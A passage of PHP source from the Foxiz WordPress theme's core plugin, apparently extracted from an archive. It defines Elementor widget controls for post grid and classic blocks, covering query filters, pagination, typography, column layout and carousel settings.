'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'box_section', array( 'label' => esc_html__( 'Boxed Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'box_style', array( 'label' => esc_html__( 'Boxed Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::box_style_description(), 'options' => Options::box_style_dropdown(), 'default' => '0', ) ); $this->add_control( 'box_color', array( 'label' => esc_html__( 'Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .grid-box' => '--box-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_box_color', array( 'label' => esc_html__( 'Dark - Box Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => Options::box_dark_color_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap .grid-box' => '--dark-box-color: {{VALUE}};' ), ) ); $this->add_responsive_control( 'box_padding', array( 'label' => esc_html__( 'Box Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--box-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown(false), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_grid_box_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_grid_box_1( $settings ); } } }elementor/classic-1.php000064400000063750147206624460011054 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '4', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::standard_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_source_description(), 'options' => Options::excerpt_source_dropdown(), 'default' => '0', ) ); $this->add_control( 'readmore', array( 'label' => esc_html__( 'Read More Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::readmore_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'sponsor_meta', array( 'label' => esc_html__( 'Sponsored Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::sponsor_meta_description(), 'options' => Options::sponsor_dropdown(), 'default' => '0', ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_size_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'entry_category_size', array( 'label' => esc_html__( 'Entry Category Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_category_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-category' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 